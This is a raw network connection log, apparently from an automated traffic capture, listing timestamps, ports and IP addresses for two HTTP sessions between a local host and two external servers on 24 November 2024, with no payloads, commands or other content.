Nov 24, 2024 12:24:24.677320004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.677372932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.678599119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.678646088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.678687096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.678731918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.683032990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.683075905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.683119059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.683167934 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.687417984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.687457085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.687484026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.687547922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.690962076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.691010952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.691042900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.691083908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.694483995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.694619894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.694645882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.694843054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.697964907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.698081017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.698110104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.698126078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.701495886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.701554060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.701720953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.701777935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.705056906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.705115080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.705147028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.705166101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.776381016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.776525974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.776597977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.776763916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.776995897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.777101040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.777169943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.777909994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.778057098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.778104067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.778733015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.778876066 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.827418089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.827491999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.827567101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.827567101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.828751087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.828797102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.828900099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.828943014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.831501961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.831543922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.832483053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.832529068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.832628965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.832667112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.835195065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.835239887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.835364103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.835403919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.836930990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.837034941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.837100029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.837466002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.837590933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.837933064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.837975979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.837979078 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.838020086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.838311911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.838357925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.838424921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.839087009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.839231014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.839355946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.839396954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.840138912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.840289116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.840332985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.840620995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.840662956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.840754986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.840805054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.841033936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.841145992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.841219902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.841952085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.842042923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.842084885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.842883110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.842986107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.843031883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.843286991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.843327999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.843406916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.843508005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.843774080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.843872070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.843920946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.844675064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.844870090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.844913960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.845700979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.845772982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.845812082 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.846044064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.846086979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.846093893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.846323967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.846507072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.846631050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.846667051 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.847460985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.847621918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.847668886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.848365068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.848500967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.848543882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.848800898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.848843098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.848925114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.848978996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.849240065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.849359035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.849400997 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.850187063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.850303888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.850347996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.851111889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.851210117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.851248026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.851468086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.851553917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.851600885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.851985931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.852061033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.852098942 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.852905989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.853018045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.853595018 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.853816032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.854027987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.854068995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.854142904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.854192019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.854257107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.854299068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.854713917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.854825020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.854863882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.855671883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.855798006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.855837107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.856596947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.856705904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.856741905 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.856889009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.856928110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.857291937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.857409954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.857633114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.857893944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.857969999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.858381033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.858455896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.858503103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.859287977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.859409094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.859447002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.859591007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.859683990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.859728098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.860198021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.860246897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.860905886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.861110926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.861242056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.861278057 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.862059116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.862149954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.862193108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.862337112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.862381935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.862462044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.862523079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.862912893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.863162041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.863193989 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.863886118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.864043951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.864180088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.864767075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.865044117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.865055084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.865081072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.865094900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.865096092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.865139008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.865643978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.865763903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.865907907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.866693974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.866796017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.866837025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.867541075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.867681026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.867717028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.867799044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.867810965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.867846966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.867861986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.868396044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.868648052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.868717909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.869316101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.869424105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.869465113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.870232105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.870316029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.870351076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.870592117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.870642900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.870677948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.870727062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.871100903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.871181965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.871222973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.872081041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.872190952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.872250080 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.872987032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.873081923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.873138905 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.873208046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.873250961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.873322964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.873430967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.873848915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.873996973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.874433041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.874953032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.875092030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.875816107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.875857115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.875890017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.875989914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.875999928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.876035929 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.876039028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.876049995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.876681089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.876810074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.876858950 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.877748966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.877794027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.877835989 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.878495932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.878618956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.878629923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.878653049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.878678083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.878773928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.878832102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.879324913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.879426956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.879462004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.880295038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.880467892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.880511045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.881699085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.881743908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.881753922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.881782055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.881787062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.881800890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.881831884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.884037018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.884085894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.884171963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.884212971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.886795044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.886878014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.886946917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.886990070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.889563084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.889705896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.889750004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.892199039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.892246008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.892281055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.892319918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.894927025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.895040989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.895064116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.895107985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.897624969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.897670984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.897752047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.898435116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.900398016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.900527000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.900571108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.903090954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.903140068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.903280020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.903327942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.906130075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.906182051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.906196117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.906235933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.908525944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.908595085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.908627987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.908694983 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.911256075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.911365032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.911389112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.911402941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.913898945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.913975954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.979449987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.979537010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.979891062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.980010986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.980055094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.980076075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.980828047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.980959892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.981009960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.981703043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:25.019514084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.019571066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.019675016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.019675016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:25.020730019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:25.020886898 CET	49793	80	192.168.2.4	31.41.244.11
